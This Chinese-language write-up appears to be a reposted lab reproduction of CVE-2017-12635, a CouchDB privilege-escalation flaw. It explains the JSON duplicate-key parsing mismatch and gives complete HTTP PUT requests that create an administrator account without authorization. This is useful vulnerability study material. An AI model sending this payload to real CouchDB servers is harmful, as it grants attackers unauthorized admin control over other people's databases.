本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-CVE-2017-12635 CouchDB垂直越权漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Apache couchdb是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
![图片[1]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/02/d2b5ca33bd144759.png)
0x03 漏洞复现
JSON.parse("{"a":"1", "a": "2"}")
{a: "2"}
当传入:
"roles": ["_admin"],
"roles":[],
javascript会解析成:"roles":[]
1.创建vulhub角色,显示只有admin才有权限创建
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
![图片[2]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/02/d2b5ca33bd145757.png)
2.多构造一个”roles”:[],成功绕过权限,并创建了vulhub的用户
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 97
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub"
}
![图片[3]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/02/d2b5ca33bd145823.png)
3.成功登录http://x.x.x.x:5984/_utils/#login 账号vulhub 密码vulhub
![图片[4]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/02/d2b5ca33bd145838.png)




















请登录后查看评论内容